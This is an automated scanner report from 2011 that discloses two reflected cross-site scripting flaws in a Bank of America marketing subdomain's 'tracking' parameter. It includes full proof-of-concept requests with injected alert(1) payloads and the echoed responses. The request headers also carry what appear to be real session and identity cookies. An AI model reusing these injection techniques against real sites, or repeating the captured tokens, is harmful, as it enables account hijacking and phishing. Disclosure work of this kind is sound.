XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, pages.emcom.bankofamerica.com

Report generated by XSS.CX at Thu Oct 06 08:58:23 CDT 2011.

Loading

1. Cross-site scripting (reflected)

1.1. https://pages.emcom.bankofamerica.com/sourcepoint/ [tracking parameter]

1.2. https://pages.emcom.bankofamerica.com/sourcepoint/ [tracking parameter]

2. Cacheable HTTPS response

2.1. https://pages.emcom.bankofamerica.com/

2.2. https://pages.emcom.bankofamerica.com/favicon.ico

2.3. https://pages.emcom.bankofamerica.com/sourcepoint/



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. https://pages.emcom.bankofamerica.com/sourcepoint/ [tracking parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://pages.emcom.bankofamerica.com
Path:   /sourcepoint/

Issue detail

The value of the tracking request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 65b61'%3balert(1)//5d73ea79873 was submitted in the tracking parameter. This input was echoed as 65b61';alert(1)//5d73ea79873 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sourcepoint/?tracking=SiteMap65b61'%3balert(1)//5d73ea79873&cm_sp=EBZ-SourcePoint-_-2010%20Q3-_-FH16LT0001_mks_sitemap_SourcePointLink HTTP/1.1
Host: pages.emcom.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Oct 2011 13:53:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=dhi4lofasywbu4fl0artouso; path=/; secure; HttpOnly
Vary: Accept
Cache-Control: private
Content-Type: text/html; charset=US-ASCII
Content-Length: 23976


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="eng_US">
<head>
   <meta http-e
...[SNIP]...
onse(responseText, statusText) {

           if(responseText.search(/SP=OK/) != -1) {
           
            document.sp_subscr_form.action='https://pages.emcom.bankofamerica.com/sourcepoint/authen/?tracking=SiteMap65b61';alert(1)//5d73ea79873&userStatus=new';
            document.sp_subscr_form.submit();
           
           } else if (responseText.search(/SP=SUB/) != -1) {

            GeneralModals("https://pages.emcom.bankofamerica.com/page.aspx?QS=38dfbe49
...[SNIP]...

1.2. https://pages.emcom.bankofamerica.com/sourcepoint/ [tracking parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://pages.emcom.bankofamerica.com
Path:   /sourcepoint/

Issue detail

The value of the tracking request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 59f7a"style%3d"x%3aexpression(alert(1))"e7d5db5031c was submitted in the tracking parameter. This input was echoed as 59f7a"style="x:expression(alert(1))"e7d5db5031c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /sourcepoint/?tracking=SiteMap59f7a"style%3d"x%3aexpression(alert(1))"e7d5db5031c&cm_sp=EBZ-SourcePoint-_-2010%20Q3-_-FH16LT0001_mks_sitemap_SourcePointLink HTTP/1.1
Host: pages.emcom.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Oct 2011 13:53:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=i5ybqkcwph0ykept2h0wdxso; path=/; secure; HttpOnly
Vary: Accept
Cache-Control: private
Content-Type: text/html; charset=US-ASCII
Content-Length: 24014


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="eng_US">
<head>
   <meta http-e
...[SNIP]...
<form action="https://pages.emcom.bankofamerica.com/newuser_signup_click/?tracking=SiteMap59f7a"style="x:expression(alert(1))"e7d5db5031c&action=new" name="sp_subscr_form" id="sp_subscr_form" method="post">
...[SNIP]...

2. Cacheable HTTPS response  previous
There are 3 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:


2.1. https://pages.emcom.bankofamerica.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://pages.emcom.bankofamerica.com
Path:   /

Request

GET / HTTP/1.1
Host: pages.emcom.bankofamerica.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=210832650.108559369.1317146892.1317146892.1317146892.1; __utmz=210832650.1317146892.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); SURVEY_SHOWN_IN_LAST_6_MONTHS=N; CM_RegCustID=20110927:0:O:7779c380-132a-a87a-48565017779c3801; BOA_COM_BT_ELIGIBLE=No; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; hp_pf_anon=anon=((ct=+||fn=+||lang=en_US||st=+||zc=+)); BOA_0020=20110927:0:O:7779c380-132a-a87a-48565017779c3801; WAOR=1717870507.281.0000; cmTPSet=Y; SMIDENTITY=BOjgHh7pIR9VuQaUQOGrSuU44ScdfTCeoBcqkA62znxyHHVi7phxb1ABWeIEVtOLpq05ENXE4JU6JqCSamUKelXrP/zUi25oimxc8a6Pt1SEbC3lP+090dyFE0lXa6kgFM1htaCbvrILjjCIS5yEaXSPlREFJMlGTsTa6aSz+tDAPZLlPjhFyXKZTvW4e1E1G3hQKZ6DrmtfZli3PXeawL2yB+QbzvCGWgw0Jwoo5RU8Rf3H8JaI0jsK4eih6Q93avGLATZa4osn+GE5LgtxEWwmQRGQ5eYd27NhT9ibkdZejrfMe4vS9wq/YVPxFzw9lublol9S5txrJW0fbXfsokdEWSJqdWY03C1YWUp/Nz37cOe8AdRyedDGnrPfsXjXASHAivqQQDrIu2vx7/JpT/5GzDHaX/8PC/ncQgtGKjzqF+q7LhyvahfFyP9awUweg+EAEGP4UjR7OdiD1IDWAoHsFLF2IbI9pph++w73rwg8cZOk+jW047J75kFUUDqv; BOA_ADVISOR=SAV%3A2; GMDEALER=false; GMDEALERSECURE=false; GMREFERRAL=false; GMREFERRALSECURE=false; TCID=0007b16b-f1e9-be5a-87b0-cd4a0000001e; mbox=check#true#1317908711|session#1317908650691-331415#1317910511; state=CT; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; TLTSID=AB41EFC4F01A10F02BCAA1CC4F75D944; TLTUID=AB41EFC4F01A10F02BCAA1CC4F75D944; ORIGINATIONS.BANKOFAMERICA.COM=TALvJZKoQr6u6/6q2Mh6zXJSp5UQQCJEe1V1MMuuqFhMv1nEWYrMuP+/kgpQ40hdqnZF9hug8mIY3QPj7KEn0YgTL04RIZV+a0Ajm1e9+GzdAk9f+cJSOsx4R41b1wwCnyhzgYUdwlXW3JDwiRp8GJ1jzzKGlYS9QikpMTxbtXCij8JulCFjf7fNJ1LVsa4ua3ZMOdGBXTpTIIDZeN1PeF/hc8JXiogC0TW41AqO5STuulSgaSjFrhA5YcMiWNB296Asc4TrBZBEXW7i7zjY3FP35QPGm2T4Ng4n5QLyohoCzOSsKxni40vp/dabJ+9CcKUDy4MraqU8GcRbqCn+nG8fSs+FtGg99BJHt+mtmAYBi8lPniCjxIs13dQgTZj8eO4mL6Jy+teuYD54JkP1l6N5U2eFo0c41D7SDhyaz7+V3K61qL69lPLidsC1k5DGSk3ahuqysZEaoaDTzWTpandLdnPHTUWyJlP5uXpvnPM4pQGibHP7qtFrEWJ5gJzVpEyb/Z9Aq3XxjHza51CSxqdcuZJKtgVIVfHNHP9IIPAV8lAoL3C5Ox8q8m00KZgnFLoGbKy784eq/9fPSCwDheMJ4HPkX4Yb6sfunCl27ankZXXSq0HHpQIG+UQpwVviWBzTd3wlXsi8Yu0x0AH6KPSYb9tSaPlZ2XFysogotz7WpsWe6K/r5VJMgCk+uyN8cUj+6Ke4DZpXJaTyOZFAcLf1gZJH+Y+ryCjWQ6iojwm/o4mXYx2h9OGFLiT106iqiesLR/hYmxgjwMCGxljMLUBgeGbh3O+AdLbL0gtz2mom3ZIo2G68TEDLOq2mC7Z/Vt/ufkaUiI8i0bZOZ3/FCuac91MblR/Bb09XvT5kJoZ1/LOiQmcaSky8pB6+EZsIK7fHimS10MA+Ww6yRm6dKquTufw7rLHbPJHmlp9NPuZYdQqFymdXF73iFp0EelN0+/cbQRPZVIXv7x7HrQ0wwWsG6plgreVK8VKeJIczjmzfszI9N75ax3sddxtYDKvC; throttle_value=72; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1317909171194

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 13:54:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 1189


<html>
<head>
<title>Problem Loading Page</title>
</head>
<BODY bgcolor ="EEEEEE">
<table cellpadding=0 cellspacing=0 width="100%"
...[SNIP]...

2.2. https://pages.emcom.bankofamerica.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://pages.emcom.bankofamerica.com
Path:   /favicon.ico

Request

GET /favicon.ico HTTP/1.1
Host: pages.emcom.bankofamerica.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utma=210832650.108559369.1317146892.1317146892.1317146892.1; __utmz=210832650.1317146892.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); SURVEY_SHOWN_IN_LAST_6_MONTHS=N; CM_RegCustID=20110927:0:O:7779c380-132a-a87a-48565017779c3801; BOA_COM_BT_ELIGIBLE=No; CONTEXT=en_US; INTL_LANG=en_US; LANG_COOKIE=en_US; hp_pf_anon=anon=((ct=+||fn=+||lang=en_US||st=+||zc=+)); BOA_0020=20110927:0:O:7779c380-132a-a87a-48565017779c3801; WAOR=1717870507.281.0000; cmTPSet=Y; SMIDENTITY=BOjgHh7pIR9VuQaUQOGrSuU44ScdfTCeoBcqkA62znxyHHVi7phxb1ABWeIEVtOLpq05ENXE4JU6JqCSamUKelXrP/zUi25oimxc8a6Pt1SEbC3lP+090dyFE0lXa6kgFM1htaCbvrILjjCIS5yEaXSPlREFJMlGTsTa6aSz+tDAPZLlPjhFyXKZTvW4e1E1G3hQKZ6DrmtfZli3PXeawL2yB+QbzvCGWgw0Jwoo5RU8Rf3H8JaI0jsK4eih6Q93avGLATZa4osn+GE5LgtxEWwmQRGQ5eYd27NhT9ibkdZejrfMe4vS9wq/YVPxFzw9lublol9S5txrJW0fbXfsokdEWSJqdWY03C1YWUp/Nz37cOe8AdRyedDGnrPfsXjXASHAivqQQDrIu2vx7/JpT/5GzDHaX/8PC/ncQgtGKjzqF+q7LhyvahfFyP9awUweg+EAEGP4UjR7OdiD1IDWAoHsFLF2IbI9pph++w73rwg8cZOk+jW047J75kFUUDqv; BOA_ADVISOR=SAV%3A2; GMDEALER=false; GMDEALERSECURE=false; GMREFERRAL=false; GMREFERRALSECURE=false; TCID=0007b16b-f1e9-be5a-87b0-cd4a0000001e; mbox=check#true#1317908711|session#1317908650691-331415#1317910511; state=CT; SURVEY_VISITED_URLS_TRACKING_COOKIE=NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNYNNNNN; TLTSID=AB41EFC4F01A10F02BCAA1CC4F75D944; TLTUID=AB41EFC4F01A10F02BCAA1CC4F75D944; ORIGINATIONS.BANKOFAMERICA.COM=TALvJZKoQr6u6/6q2Mh6zXJSp5UQQCJEe1V1MMuuqFhMv1nEWYrMuP+/kgpQ40hdqnZF9hug8mIY3QPj7KEn0YgTL04RIZV+a0Ajm1e9+GzdAk9f+cJSOsx4R41b1wwCnyhzgYUdwlXW3JDwiRp8GJ1jzzKGlYS9QikpMTxbtXCij8JulCFjf7fNJ1LVsa4ua3ZMOdGBXTpTIIDZeN1PeF/hc8JXiogC0TW41AqO5STuulSgaSjFrhA5YcMiWNB296Asc4TrBZBEXW7i7zjY3FP35QPGm2T4Ng4n5QLyohoCzOSsKxni40vp/dabJ+9CcKUDy4MraqU8GcRbqCn+nG8fSs+FtGg99BJHt+mtmAYBi8lPniCjxIs13dQgTZj8eO4mL6Jy+teuYD54JkP1l6N5U2eFo0c41D7SDhyaz7+V3K61qL69lPLidsC1k5DGSk3ahuqysZEaoaDTzWTpandLdnPHTUWyJlP5uXpvnPM4pQGibHP7qtFrEWJ5gJzVpEyb/Z9Aq3XxjHza51CSxqdcuZJKtgVIVfHNHP9IIPAV8lAoL3C5Ox8q8m00KZgnFLoGbKy784eq/9fPSCwDheMJ4HPkX4Yb6sfunCl27ankZXXSq0HHpQIG+UQpwVviWBzTd3wlXsi8Yu0x0AH6KPSYb9tSaPlZ2XFysogotz7WpsWe6K/r5VJMgCk+uyN8cUj+6Ke4DZpXJaTyOZFAcLf1gZJH+Y+ryCjWQ6iojwm/o4mXYx2h9OGFLiT106iqiesLR/hYmxgjwMCGxljMLUBgeGbh3O+AdLbL0gtz2mom3ZIo2G68TEDLOq2mC7Z/Vt/ufkaUiI8i0bZOZ3/FCuac91MblR/Bb09XvT5kJoZ1/LOiQmcaSky8pB6+EZsIK7fHimS10MA+Ww6yRm6dKquTufw7rLHbPJHmlp9NPuZYdQqFymdXF73iFp0EelN0+/cbQRPZVIXv7x7HrQ0wwWsG6plgreVK8VKeJIczjmzfszI9N75ax3sddxtYDKvC; throttle_value=72; NSC_CbolPgBnfsjdb=445b32097852; session_start_time=1317909171194

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 13:54:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 1189


<html>
<head>
<title>Problem Loading Page</title>
</head>
<BODY bgcolor ="EEEEEE">
<table cellpadding=0 cellspacing=0 width="100%"
...[SNIP]...

2.3. https://pages.emcom.bankofamerica.com/sourcepoint/  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://pages.emcom.bankofamerica.com
Path:   /sourcepoint/

Request

GET /sourcepoint/ HTTP/1.1
Host: pages.emcom.bankofamerica.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 06 Oct 2011 13:53:50 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Set-Cookie: ASP.NET_SessionId=; path=/; secure
Vary: Accept
Cache-Control: private
Content-Type: text/html; charset=US-ASCII
Content-Length: 23906


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="eng_US">
<head>
   <meta http-e
...[SNIP]...

Report generated by XSS.CX at Thu Oct 06 08:58:23 CDT 2011.